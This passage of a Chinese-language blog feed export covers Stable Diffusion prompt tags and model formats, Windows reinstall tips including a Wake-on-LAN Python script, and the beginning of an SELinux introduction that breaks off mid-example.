quality, ultra-detailed, masterpiece, finely detail, highres, 4k, 8k wallpaper, extremely clear, ultra-detailed unity 8k wallpaper, dreamlike</span><br></pre></td></tr></table></figure><p><strong>画质负面词</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">(worst quality:2), (low quality:2), (normal quality:2), lowres</span><br><span class="line">以下的是text inversion, 需要在civitai下载</span><br><span class="line">EasyNegative,ng_deepnegative_v1_75t</span><br></pre></td></tr></table></figure><p><strong>保真</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">realistic, photo-realistic,vivid</span><br></pre></td></tr></table></figure><p><strong>提高元素质量</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">beautiful detailed eyes, detailed facial features, detailed clothes features</span><br><span class="line">highly detailed skin</span><br><span class="line">extremely delicate and beautiful girls</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>后面的名词也可以换成其他的</p><p><strong>人物负面词</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mutated hands and fingers,deformed, bad anatomy, disfigured, poorly drawn face, mutation, extra limb, ugly, poorly drawn hands, missing limb, floating limbs, disconnected limbs, malformed hands, out of focus, long neck, long body, skin blemishes,acnes(粉刺), skin spots(皮肤斑点), age spot(老年斑)</span><br></pre></td></tr></table></figure><p><strong>人物描述词</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">smile, puffy eyes(眼袋 卧蚕?),skin tight(紧致),shiny(光泽) skin,slender(纤细),slim</span><br><span class="line">bangs(刘海),</span><br></pre></td></tr></table></figure><p><strong>手的负面词</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">((poorly drawn hands)),more than 1 left hand, more than 1 right hand, short arm, (((missing arms))), bad hands,missing fingers,(extradigit),(fewer digits),mutated hands,(fused fingers),(too many fingers),sharp fingers,wrong figernails,long hand,double middle finger,index fingers together,missing indexfinger,interlocked fingers,pieck fingers,sharp fingernails,(steepled fingers),x fingers,((curled fingers)),(no finger gaps),interlocked fingers,fingers different thickness,cross fingers,poor outline,big fingers,finger growth,outline on body,outline on hair,out line on background,more than one hands,fuse arm,fuse elbow,more than two arm,more than two elbow</span><br></pre></td></tr></table></figure><p><strong>视角和视线</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">dynamic angle</span><br><span class="line">from above 俯视</span><br><span class="line">from below 仰视</span><br><span class="line">wide shot 广角</span><br><span class="line">Aerial View 鸟瞰</span><br><span class="line">looking at viewer</span><br><span class="line">looking at another</span><br><span class="line">looking away</span><br><span class="line">looking back</span><br><span class="line">looking up</span><br></pre></td></tr></table></figure><p><strong>身体</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">full body shot 全身</span><br><span class="line">half body shot,cowboy shot 半身</span><br><span class="line">close-up shot 近身</span><br></pre></td></tr></table></figure><p><strong>光线</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">dynamic lighting 动态光</span><br><span class="line">cinematic lighting 电影光</span><br><span class="line">professional lighting</span><br><span class="line">soft lighting, radiosity</span><br></pre></td></tr></table></figure><p><strong>画风</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sketch 素描</span><br><span class="line">one-hour drawing challenge 手绘风</span><br></pre></td></tr></table></figure><p><strong>身体状态</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">blush（脸红）</span><br><span class="line">wet sweat（大汗）</span><br><span class="line">flying sweatdrops (飞汗 ）</span><br></pre></td></tr></table></figure><p><strong>姿势</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">hands on 例hands on own face, hands on feet, hands on breast </span><br><span class="line">kneeling 跪着</span><br><span class="line">hand between legs</span><br><span class="line">hair flip 撩发</span><br><span class="line">skirt flip 撩衣</span><br></pre></td></tr></table></figure><h2 id="推荐的获取tag的网站"><a href="#推荐的获取tag的网站" class="headerlink" title="推荐的获取tag的网站"></a>推荐的获取tag的网站</h2><p><a href="Lexica.art">Lexica</a> 有图片和prompt</p><p><a href="https://www.pixiv.net/">pixiv</a> ai图片分享</p><p><a href="https://civitai.com/">civitai</a>里面的每一个模型的图片都有人分享, 通过PNG Info获取prompt</p><p><a href="https://aitag.top/">aitag</a> 一个tag网站</p><h1 id="技巧"><a href="#技巧" class="headerlink" title="技巧"></a>技巧</h1><h2 id="获取AI图的信息"><a href="#获取AI图的信息" class="headerlink" title="获取AI图的信息"></a>获取AI图的信息</h2><p>如果看上了一个ai图片, 找到原图, 把图放到webui的PNG info里, 可以读取生成时的参数, 不过小心网络图片压缩导致的信息丢失.</p><p>另外, 由于模型的本地文件名决定了某些tag的名称, 所以如果你下载模型的时候没有使用默认名称, 就需要知道它具体用了什么模型, 改成正确的名字.</p><p>此外, <code>text inversion</code>在被使用的时候, 是没办法和普通tag做区分的, 如果发现奇怪的名词tag, 那大概率是<code>text inversion</code>. 可以在civitai里搜索它.</p><h1 id="模型训练"><a href="#模型训练" class="headerlink" title="模型训练"></a>模型训练</h1><p><a href="https://zhuanlan.zhihu.com/p/584736850">StableDiffusion&#x2F;NAI DreamBooth自训练全教程</a></p><h1 id="模型推荐"><a href="#模型推荐" class="headerlink" title="模型推荐"></a>模型推荐</h1><p><a href="https://civitai.com/models/13941/epinoiseoffset">https://civitai.com/models/13941/epinoiseoffset</a> 提高对比度的Noise Offset的Lora模型</p><h1 id="教程推荐"><a href="#教程推荐" class="headerlink" title="教程推荐"></a>教程推荐</h1><p><a href="https://zhuanlan.zhihu.com/p/607892849">AI绘画教程：从入门到放弃(xiaobai)</a></p><h1 id="插件推荐"><a href="#插件推荐" class="headerlink" title="插件推荐"></a>插件推荐</h1><p><a href="https://github.com/DominikDoom/a1111-sd-webui-tagcomplete.git">Booru tag autocompletion</a>, 自动补全tag</p><h1 id="在线体验服务"><a href="#在线体验服务" class="headerlink" title="在线体验服务"></a>在线体验服务</h1><p>huggingface可以提供名为Space的虚拟机服务,  上面有很多免费的各种服务, 可以通过这些免费的服务来跑 AI出图 的demo. 缺点就是速度慢, 而且没办法灵活运用插件, 只能跑着玩.</p><p>比如如下几个服务:</p><h2 id="controlnet"><a href="#controlnet" class="headerlink" title="controlnet"></a>controlnet</h2><p><a href="https://huggingface.co/spaces/hysts/ControlNet">https://huggingface.co/spaces/hysts/ControlNet</a></p><h2 id="stable-diffusion-webui"><a href="#stable-diffusion-webui" class="headerlink" title="stable-diffusion-webui"></a>stable-diffusion-webui</h2><p><a href="https://huggingface.co/spaces/jackli888/stable-diffusion-webui">https://huggingface.co/spaces/jackli888/stable-diffusion-webui</a></p><h1 id="常见错误"><a href="#常见错误" class="headerlink" title="常见错误"></a>常见错误</h1><ol><li><p><strong>No module ‘xformers’. Proceeding without it.</strong></p><p>对于低端显卡, 倒是没什么影响, 但是高端显卡, 可能需要解决一下</p></li><li><p><strong>ModuleNotFoundError: No module named ‘basicsr.version’</strong></p><p>先重新运行<code>python -m pip install -r requirements_versions.txt --prefer-binary</code>, 再打开<code>stable-diffusion-webui\venv\pyvenv.cfg </code>, 修改<code> include-system-site-packages = true </code>, 再重新运行<code>webui.bat</code>即可. <a href="https://github.com/AUTOMATIC1111/stable-diffusion-webui/issues/1598">参考</a></p></li><li><p><strong>Expected all tensors to be on the same device, but found at least two devices, cpu and cuda:0! (when checking argument for argument index in method wrapper__index_select)</strong></p><p>去掉webui-user.bat的 <code>--medvram</code></p></li><li><p><strong>RuntimeError: CUDA out of memory. Tried to allocate 30.00 MiB (GPU 0; 4.00 GiB total capacity; 1.7 GiB already allocated; 0 bytes free; 2.30 GiB reserved in total by PyTorch) If reserved memory is &gt;&gt; allocated memory try setting max_split_size_mb to avoid fragmentation.</strong></p><p>显卡内存不足, 在<code>webui-user.bat</code>的<code> COMMANDLINE_ARGS=</code> 添加<code>--lowvram</code>, 使用<code>webui-user.bat</code>启动</p></li></ol><p><a href="https://www.bilibili.com/read/cv19183915/">其他错误参考</a></p><h1 id="关键名词解释"><a href="#关键名词解释" class="headerlink" title="关键名词解释"></a>关键名词解释</h1><p><a href="https://openai.wiki/ai-painting-model-guide.html">来源</a></p><h2 id="模型仓库"><a href="#模型仓库" class="headerlink" title="模型仓库"></a>模型仓库</h2><p>常见的模型下载仓库为以下几种，点击可直接前往仓库地址：</p><ul><li><a href="https://huggingface.co/">HuggingFace</a>：Stable Diffusion、ControlNet的官方仓库。</li><li><a href="https://civitai.com/">Civitai</a>：里面多是Lora或其它NSFW等模型的仓库。</li><li>Discord：公共聊天软件，如果有需要可行前往搜索相应频道。</li><li>TG：公共聊天软件，如果有需要可行前往搜索相应频道。</li><li>Reddit：公共交流社区，如果有需要可行前往搜索相应频道。</li></ul><p>在HuggingFace仓库中下载所需的模型时，将会看到各种各样格式的文件。对于一般的使用者来说，仅下载Stable Diffusion的常用CKPT格式模型文件即可。</p><h2 id="模型种类"><a href="#模型种类" class="headerlink" title="模型种类"></a>模型种类</h2><h3 id="大模型"><a href="#大模型" class="headerlink" title="大模型"></a>大模型</h3><p>大模型特指标准的<code>latent-diffusion</code>模型。拥有完整的<code>TextEncoder</code>、<code>U-Net</code>、<code>VAE</code>。</p><p>由于想要训练一个大模型非常困难，需要极高的显卡算力，所以更多的人选择去训练小型模型。</p><h4 id="CKPT"><a href="#CKPT" class="headerlink" title="CKPT"></a>CKPT</h4><p>CKPT格式的全称为<code>CheckPoint</code>（检查点），完整模型的常见格式，模型体积较大，一般单个模型的大小在7GB左右。</p><p>文件位置：该模型一般放置在<code>*\stable-diffusion-webui\models\Stable-diffusion</code>目录内。</p><h3 id="小模型"><a href="#小模型" class="headerlink" title="小模型"></a>小模型</h3><p>小模型一般都是截取大模型的某一特定部分，虽然不如大模型能力那样完整，但是小而精，因为训练的方向各为明确，所以在生成特定内容的情况下，效果更佳。</p><p>常见微调模型：<code>Textual inversion (Embedding)</code>、<code>Hypernetwork</code>、<code>VAE</code>、<code>LoRA</code>等，下面一一进行介绍。</p><h4 id="VAE"><a href="#VAE" class="headerlink" title="VAE"></a>VAE</h4><p>全称：VAE全称<code>Variational autoencoder</code>。变分自编码器，负责将潜空间的数据转换为正常图像。</p><p>后缀格式：后缀一般为.pt格式。</p><p>功能描述：类似于滤镜一样的东西，他会影响出图的画面的色彩和某些极其微小的细节。大模型本身里面自带 VAE ，但是并不是所有大模型都适合使用VAE，VAE最好搭配指定的模型，避免出现反效果，降低生成质量。</p><p>使用方法：<code>设置 -&gt; Stable-Diffusion -&gt; 模型的 VAE (SD VAE)</code>，在该选项框内选择VAE模型。</p><p>文件位置：该模型一般放置在<code>*\stable-diffusion-webui\models\VAE</code>目录内。</p><h4 id="Embedding"><a href="#Embedding" class="headerlink" title="Embedding"></a>Embedding</h4><p>常见格式为<code>pt</code>、<code>png</code>、<code>webp</code>格式，文件体积一般只有几KB。</p><p>风格模型，即只针对一个风格或一个主题，并将其作为一个模块在生成画作时使用对应TAG在Prompt进行调用。</p><p>使用方法：例如用数百张<code>海绵宝宝</code>训练了一个Embedding模型，然后将该模型命名为<code>HMBaby</code>，在使用AI绘图时加载名称为<code>HMBaby</code>的Embedding模型，在使用Promat时加入<code>HMBaby</code>的Tag关键字，SD将会自动调用该模型参与AI创作。</p><p>文件位置：该模型一般放置在<code>*\stable-diffusion-webui\embeddings</code>目录内。</p><h4 id="Hypernetwork"><a href="#Hypernetwork" class="headerlink" title="Hypernetwork"></a>Hypernetwork</h4><p>一般为.pt后缀格式，大小一般在几十兆左右。这种模型的可自定义的参数非常之多。</p><p>使用方法：使用方法：在SD的文生图或图生图界面内的生成按钮下，可以看到一个红色的图标，该图标名为<code>Show extra networks（显示额外网络）</code>，点击该红色图标将会在本页弹出一个面板，在该面板中可以看到<code>Hypernetwork选项卡</code>。</p><p>文件位置：该模型一般放置在<code>*\stable-diffusion-webui\models\hypernetworks</code>目录内。</p><h4 id="LoRA"><a href="#LoRA" class="headerlink" title="LoRA"></a>LoRA</h4><p>LoRA(Low-Rank Adaptation of Large Language Models)的模型分两种，一种是基础模型，一种是变体。</p><p>目前最新版本的Stable-diffusion-WebUI原生支持Lora模型库，非常方便使用。</p><p>使用方法：在SD的文生图或图生图界面内的生成按钮下，可以看到一个红色的图标，该图标名为<code>Show extra networks（显示额外网络）</code>，点击该红色图标将会在本页弹出一个面板，在该面板中可以看到Lora选项卡，在该选项卡中可以自由选择Lora模型，点击想要使用的模型将会自动在Prompt文本框中插入该Lora模型的Tag名称。</p><h5 id="基础模型"><a href="#基础模型" class="headerlink" title="基础模型"></a>基础模型</h5><p>名称一般为<code>chilloutmix*</code>，后缀可能为safetensors或CKPT。</p><p>基础模型存放位置：<code>*\stable-diffusion-webui\models\Stable-diffusion</code>目录内。</p><h5 id="变体模型"><a href="#变体模型" class="headerlink" title="变体模型"></a>变体模型</h5><p>变体模型存放位置：<code>*\stable-diffusion-webui\models\Lora</code>目录内。</p><h2 id="模型后缀解析"><a href="#模型后缀解析" class="headerlink" title="模型后缀解析"></a>模型后缀解析</h2><table><thead><tr><th>格式</th><th>描述</th></tr></thead><tbody><tr><td>.ckpt</td><td>Pytorch的标准模型保存格式，容易遭受Pickle反序列化攻击。</td></tr><tr><td>.pt</td><td>Pytorch的标准模型保存格式，容易遭受Pickle反序列化攻击。</td></tr><tr><td>.pth</td><td>Pytorch的标准模型保存格式，容易遭受Pickle反序列化攻击。</td></tr><tr><td>.safetensors</td><td>safetensors格式可与Pytorch的模型相互格式转换，内容数据无区别。</td></tr><tr><td>其它</td><td>webui 特殊模型保存方法：PNG、WEBP图片格式。</td></tr></tbody></table><h3 id="Safetensors格式"><a href="#Safetensors格式" class="headerlink" title="Safetensors格式"></a>Safetensors格式</h3><ul><li>Safetensors格式所生成的内容与ckpt等格式完全一致（包括NFSW）。</li><li>Safetensors格式拥有更高的安全性，</li><li>Safetensors比ckpt格式加载速度更快</li><li>该格式必须在2023年之后的Stable Diffusion内才可以使用，在此之间的SD版本内使用将无法识别。</li><li>Safetensors格式由Huggingface推出，将会逐渐取代ckpt、pt、pth等格式，使用方法上与其它格式完全一致。【该详细的说明文章：<a href="https://github.com/AUTOMATIC1111/stable-diffusion-webui/pull/4930"><code>*.safetensors</code> (github.com)</a>】</li></ul><h2 id="模型训练-1"><a href="#模型训练-1" class="headerlink" title="模型训练"></a>模型训练</h2><h3 id="Embedding-Textual-inversion"><a href="#Embedding-Textual-inversion" class="headerlink" title="Embedding (Textual inversion)"></a>Embedding (Textual inversion)</h3><p>可训练：画风√ 人物√ | 推荐训练：人物</p><p>配置要求：显存6GB以上。</p><p>训练速度：中等 | 训练难度：中等</p><p>综合评价：☆☆☆</p><h3 id="Hypernetwork-1"><a href="#Hypernetwork-1" class="headerlink" title="Hypernetwork"></a>Hypernetwork</h3><p>可训练：画风√ 人物√ | 推荐训练：画风</p><p>配置要求：显存6GB以上。</p><p>训练速度：中等 | 训练难度：难</p><p>综合评价：☆☆</p><p>评价：非常强大的一种模型，但是想训练好很难，不推荐训练。</p><h3 id="LoRA-1"><a href="#LoRA-1" class="headerlink" title="LoRA"></a>LoRA</h3><p>可训练：画风? 人物√  概念√ | 推荐训练：人物</p><p>配置要求：显存8GB以上。</p><p>训练速度：快 | 训练难度：简单</p><p>综合评价：☆☆☆☆</p><p>评价：非常好训练 好出效果的人物训练，配置要求低，图要求少。</p><p>备注：LoRA 本身也应该归类到 Dreambooth，但是这里还是分开讲。</p><h3 id="Dreambooth-x2F-Native-Train"><a href="#Dreambooth-x2F-Native-Train" class="headerlink" title="Dreambooth &#x2F; Native Train"></a>Dreambooth &#x2F; Native Train</h3><p>可训练：画风√ 人物√ 概念√ | 推荐训练：Dreambooth 推荐人物，Native Train 推荐画风</p><p>配置要求：显存12GB以上。</p><p>训练速度：慢 | 训练难度：可以简单可以很难</p><p>综合评价：☆☆☆☆☆</p><p>评价：微调大模型，非常强大的训练方式，但是使用上会不那么灵活，推荐训练画风用，人物使用 LoRA 训练。</p><h3 id="DreamArtist"><a href="#DreamArtist" class="headerlink" title="DreamArtist"></a>DreamArtist</h3><p>显存要求6GB（4GB应该也可以），只需要（也只能）使用一张图完成训练，一般用于训练人物（画风没法抓住主次），优点是训练要求极低，成功率高，缺点是容易过拟合，并且不像Embedding可以跨模型应用，这个训练时使用什么模型应用时就要用什么，哪怕调一下CLIP参数生成结果都会完全跑飞。推荐每250步保存模型，后期用X&#x2F;Y图脚本进行挑选。</p><h2 id="模型后缀"><a href="#模型后缀" class="headerlink" title="模型后缀"></a>模型后缀</h2><p>仓库内一般存在多个模型文件，文件名后缀各不相同，这里简单介绍下文件名常见后缀及其含义：</p><h3 id="ControlNet"><a href="#ControlNet" class="headerlink" title="ControlNet"></a>ControlNet</h3><p>ControlNet比之前的img2img要更加的精准和有效，可以直接提取画面的构图，人物的姿势和画<br>面的深度信息等等。有了它的帮助，就不用频繁的用提示词来碰运气，抽卡式的创作了。</p><h3 id="instruct-pix2pix"><a href="#instruct-pix2pix" class="headerlink" title="instruct-pix2pix"></a>instruct-pix2pix</h3><p>在 stable-diffusion-webui 中的img2img专用模型 自然语言指导图像编辑 生成速度极快 ，仅需要几秒的时间。</p><h3 id="FP16、FP32"><a href="#FP16、FP32" class="headerlink" title="FP16、FP32"></a>FP16、FP32</h3><p>代表着精度不同，精度越高所需显存越大，效果也会有所提升。</p><h3 id="512｜768"><a href="#512｜768" class="headerlink" title="512｜768"></a>512｜768</h3><p>代表着默认训练分辨率时512X512还是768X768，理论上默认分辨率高生成效果也会相应更好。</p><h3 id="inpaint"><a href="#inpaint" class="headerlink" title="inpaint"></a>inpaint</h3><p>代表着是专门为imgtoimg中的inpaint功能训练的模型，在做inpaint时效果会相对来说较好。</p><h3 id="depth"><a href="#depth" class="headerlink" title="depth"></a>depth</h3><p>代表此模型是能包含处理图片深度信息并进行inpainting和img2img的</p><h3 id="EMA"><a href="#EMA" class="headerlink" title="EMA"></a>EMA</h3><p>模型文件名中带EMA一般意味着这是个用来继续训练的模型,文件大小相对较大</p><p>与之相比,正常的、大小相当较小的那个模型文件是为了做推理生成的</p><p>对于那些有兴趣真正理解发生了什么的人来说，应该使用EMA模型来进行推理</p><p>小模型实际上有EMA权重。而大模型是一个 “完整版”，既有EMA权重，也有标准权重。因此，如果你想训练这个模型，你应该加载完整的模型，并使用use_ema&#x3D;False。</p><h4 id="EMA权重"><a href="#EMA权重" class="headerlink" title="EMA权重"></a>EMA权重</h4><p>就像你作为一个学生在接受训练时，也许你会在最后一次考试表现较差，或者决定作弊并记住答案。所以一般来说，通过使用考试分数的平均值，你可以更好地了解到学生的表现，</p><p>由于你不关心幼儿园时的分数，如果你只考虑去年的分数(即只用一组最近的实际数据值来预测)，你会得到<code>MA</code>（moving average 移动平均数). 而如果你保留整个历史，但给最近的分数以更大的权重，则会得到<code>EMA</code>(exponential moving average 指数移动平均数)。</p><p>这对具有不稳定训练动态的GANs来说是一个非常重要的技巧，但对扩散模型来说，它其实并不是那么重要。</p><h3 id="VAE-1"><a href="#VAE-1" class="headerlink" title="VAE"></a>VAE</h3><p>VAE模型文件并不能和正常模型文件一样独立完成图片生成。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;时下文生图已经非常火热, 自己搭一个服务, 跑起来玩也是不错的选择&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>重装系统的一些操作建议</title>
    <link href="http://474172261.github.io/2023/02/23/system-help/"/>
    <id>http://474172261.github.io/2023/02/23/system-help/</id>
    <published>2023-02-23T07:17:02.785Z</published>
    <updated>2025-07-12T02:06:10.961Z</updated>
    
    <content type="html"><![CDATA[<p>时不时需要重装系统，面临很多需要重复操作又容易忘记的事情，记录一下。</p><span id="more"></span><h2 id="映射目录为虚拟分区号"><a href="#映射目录为虚拟分区号" class="headerlink" title="映射目录为虚拟分区号"></a>映射目录为虚拟分区号</h2><p>将某个文件夹映射为一个虚拟分区号, 方便访问文件夹或者备份的时候路径短一些</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\DOS Devices]</span><br><span class="line">&quot;X:&quot;=&quot;\\??\\D:\\Downloads\\Work\\MyFiles&quot;</span><br></pre></td></tr></table></figure><h2 id="WOL脚本"><a href="#WOL脚本" class="headerlink" title="WOL脚本"></a>WOL脚本</h2><p>最开始不理解wol原理就搜教程, 网上的人也不知道咋写的, 一个wol用python就能解决的, 教程居然让下载一个工具, 一点也不geek.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line">s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, <span class="number">1</span>)</span><br><span class="line">s.sendto(<span class="string">&#x27;\xff&#x27;</span>*<span class="number">6</span>+<span class="string">&#x27;\xAA\xAA\xAA\xAA\xAA\xAA&#x27;</span>*<span class="number">16</span>, (<span class="string">&quot;255.255.255.255&quot;</span>,<span class="number">9</span>))</span><br></pre></td></tr></table></figure><p>需要注意的是, 如果想在公网唤醒局域网的机器, 路由器端口转发好像不好使(即使把机器绑定了固定ip), 设定广播ip也不好使, 应该必须设置静态arp. 想设置arp, 这个就看路由器了, 很难弄, 所以家里有群晖的, 用群晖跑个命令更靠谱一些.</p><h2 id="实用windows软件推荐"><a href="#实用windows软件推荐" class="headerlink" title="实用windows软件推荐"></a>实用windows软件推荐</h2><p><a href="https://www.voidtools.com/">everything</a> 搜本地文件神器! 装机必备</p><p><a href="https://www.xyplorer.com/">xyplorer</a> windows自带的文件管理不支持tab管理, 费劲, 我个人比较喜欢这个文件管理器, 而且可以一直试用</p><p><a href="https://www.sublimetext.com/">sublime text</a> 十分强大的文本编辑器, 比起vscode小巧, 功能强大. vscode后台一堆进程, 占用内存太多, 我不喜欢, 还是sublime 可爱.</p><p><a href="rufus.ie">rufus</a> 刻盘装系统工具, 很实用.</p><p><strong>设置空格替换tab</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&quot;tab_size&quot;: 4,</span><br><span class="line">&quot;translate_tabs_to_spaces&quot;: true</span><br><span class="line">&quot;expand_tabs_on_save&quot;: true</span><br></pre></td></tr></table></figure><p><a href="https://www.7-zip.org/download.html">7z</a> 我觉得, 它是最屌的解压缩软件, 没人有意见吧 :) 安装后, 需要打开7z文件管理器, 在<code>工具-&gt;选项</code>里点一下 <code>+</code>号, 才能关联文件后缀, 切记!</p><h2 id="system32目录文件修改"><a href="#system32目录文件修改" class="headerlink" title="system32目录文件修改"></a>system32目录文件修改</h2><p>如果要删除或修改<code>C:\windows\system32\</code>目录下的文件, 一般需要TrustInstaller权限, 要修改它, 可以现在管理员命令行里运行<code>takeown /f C:\windows\system32\xxx.dll</code>, 然后在文件管理里， 右键文件， <code>属性-&gt;安全</code>:</p><p><img src="/images/system-help.assets/1699511875452.png" alt="1699511875452"></p><p>选择当前用户, 选择<code>编辑</code>, 然后勾选<code>完全控制</code>, 确认后就可以随意更改了.</p><h2 id="vs-code-插件"><a href="#vs-code-插件" class="headerlink" title="vs code 插件"></a>vs code 插件</h2><p><img src="/images/system-help.assets/1730195908892.png" alt="1730195908892"></p><p>像sourcehight一样, shift+f8 高亮关键词.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;时不时需要重装系统，面临很多需要重复操作又容易忘记的事情，记录一下。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>SELinux 简介</title>
    <link href="http://474172261.github.io/2023/02/22/SELinux/"/>
    <id>http://474172261.github.io/2023/02/22/SELinux/</id>
    <published>2023-02-22T11:54:44.259Z</published>
    <updated>2022-05-09T07:42:36.000Z</updated>
    
    <content type="html"><![CDATA[<p>测试中时常涉及到SELinux, 但是又不太懂咋回事. 学习一下, 整理出来, 希望可以帮到有疑惑的人</p><span id="more"></span><p>默认情况下, linux的权限隔离是依据用户的权限来划分的, 称为自主访问控制(DAC). 而SELinux是根据进程和资源划分类和访问权限的. 两者不矛盾, 可以一起存在. </p><h1 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h1><p>要使用和管理selinux, 需要一些命令, 需要安装一下:</p><p>以centos7为例:</p><p><code>sesearch</code>: <code>yum install setools-console</code></p><p><code>semanage</code>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ yum provides semanage</span><br><span class="line">...</span><br><span class="line">policycoreutils-python-2.5-34.el7.x86_64 : SELinux policy core python utilities</span><br><span class="line">Repo        : base</span><br><span class="line">Matched from:</span><br><span class="line">Filename    : /usr/sbin/semanage</span><br><span class="line"></span><br><span class="line">$ yum install policycoreutils-python-2.5-34.el7.x86_64</span><br></pre></td></tr></table></figure><p><code>sealert</code>:  与semanage类似. 比如centos7是<code>yum install setroubleshoot-server-3.2.30-8.el7.x86_64</code>. 当然没有它也不要紧.</p><h1 id="工作模式"><a href="#工作模式" class="headerlink" title="工作模式"></a>工作模式</h1><ol><li><code>enforcing</code>：强制模式。违反 SELinux 规则的行为将被<strong>阻止</strong>并<strong>记录到日志中</strong>。</li><li><code>permissive</code>：宽容模式。违反 SELinux 规则的行为只会<strong>记录到日志中</strong>。一般为调试用。</li><li><code>disabled</code>：关闭 SELinux。</li></ol><p>通过命令<code>getenforce</code>可以查看当前状态, 通过<code>setenforce</code>可以更改它.</p><blockquote><p>Ubuntu如果没有命令, 可以<code>apt install selinux-utils</code>安装. 默认情况下Ubuntu不启用SELinux, 而是apparmor</p></blockquote><h1 id="查看规则"><a href="#查看规则" class="headerlink" title="查看规则"></a>查看规则</h1><p>使用<code>sesearch -A</code>可以查看所有允许的规则. (非”允许规则”就是不允许)</p><p>举例:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ sesearch -A|grep syslogd_t</span><br><span class="line">allow syslogd_t tmp_t : dir &#123; ioctl read write getattr lock add_name remove_name search open &#125; ;</span><br></pre></td></tr></table></figure><p>格式为<code>ALLOW (src type) (dst type):class &#123; allowed attributes &#125;;</code></p><p>通过<code>chcon -u aaa_u -r bbb_r -t ccc_t test</code>可以临时修改文件的规则</p><p><code>semanage fcontext --list</code> 可以查看文件或者文件夹对于的type规则.</p><p><code>semodule -l</code>可以查看已经安装的module里封装的规则</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$ semodule -l</span><br><span class="line">...</span><br><span class="line">varnishd        1.2.0</span><br><span class="line">vdagent 1.1.1</span><br><span class="line">vhostmd 1.1.0</span><br><span class="line">virt    1.5.0</span><br><span class="line">vlock   1.2.0</span><br><span class="line">vmtools 1.0.0</span><br><span class="line">vmware  2.7.0</span><br><span class="line">vnstatd 1.1.0</span><br><span class="line">vpn     1.16.0</span><br><span class="line">w3c     1.1.0</span><br><span class="line">watchdog        1.8.0</span><br><span class="line">wdmd    1.1.0</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>如果我们想了解vmtools的规则, 可以这样:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ semodule -E vmtools</span><br></pre></td></tr></table></figure><p>执行完成后, 可以看到目录下生成了vmtools.pp文件.</p><p>使用<code>sedismod</code>查看规则:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 